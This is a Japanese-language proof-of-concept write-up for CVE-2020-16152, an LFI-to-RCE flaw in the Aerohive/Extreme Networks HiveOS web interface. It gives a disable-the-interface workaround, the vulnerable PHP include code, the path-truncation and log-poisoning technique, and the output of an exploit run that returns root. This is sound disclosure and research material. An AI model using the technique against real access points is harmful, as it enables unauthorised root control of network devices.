
CVE-2020-16152の概念実証エクスプロイト:PHP文字列切り詰めとログ汚染によるAerohive/Extreme Networks HiveOSのLFI-to-RCEで、脆弱なアクセスポイントでrootアクセスを可能にします。
Aerohive/Extreme Networks HiveOS 管理 Web インターフェース (NetConfig) は、文字列切り詰め攻撃に対して脆弱な古いバージョンの PHP を使用しているため、LFI に対して脆弱です。攻撃者はこれをログポイズニングと組み合わせて使用し、脆弱なアクセスポイント上で root 権限を取得することができます。
回避策として、次のコマンドで Web インターフェースを無効にすることができます: no system web-server hive-UI enable この脆弱性から保護するため。
_page パラメータは、URL /action.php5 によって参照される action/AhBaseAction.class.php5 への呼び出しに使用され、以下のコードスニペットに見られるように、ページに使用される PHP クラスを動的にロードするために使用されます($pageName は $_POST['_page'] から取得されます):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
ご覧のとおり、このファイル名にはプレフィックスがないため、任意のファイルへのパストラバーサルが可能です。ただし、サフィックスが付いているため、任意のファイルをインクルードすることはできません。アクセスポイントの PHP のバージョンがかなり古いため、実際にこれを回避することができます(詳細情報):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
十分な数の / 文字でパスを埋めることで、Access.class.php5 サフィックスが完全に切り詰められ、任意のファイルをインクルードできるようになります。
ログイン試行の失敗は /tmp/messages に記録され、送信されたユーザー名が含まれるため、ログインページを使用して /tmp/messages をポイズンし、上記の LFI 攻撃でそこからコードを実行できます。
Webサーバー自体は低権限ユーザーで実行されていますが、hiawatha が使用する php-cgi インスタンスは実際には root として実行されており、すべての PHP コードが root として実行されることを意味します:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)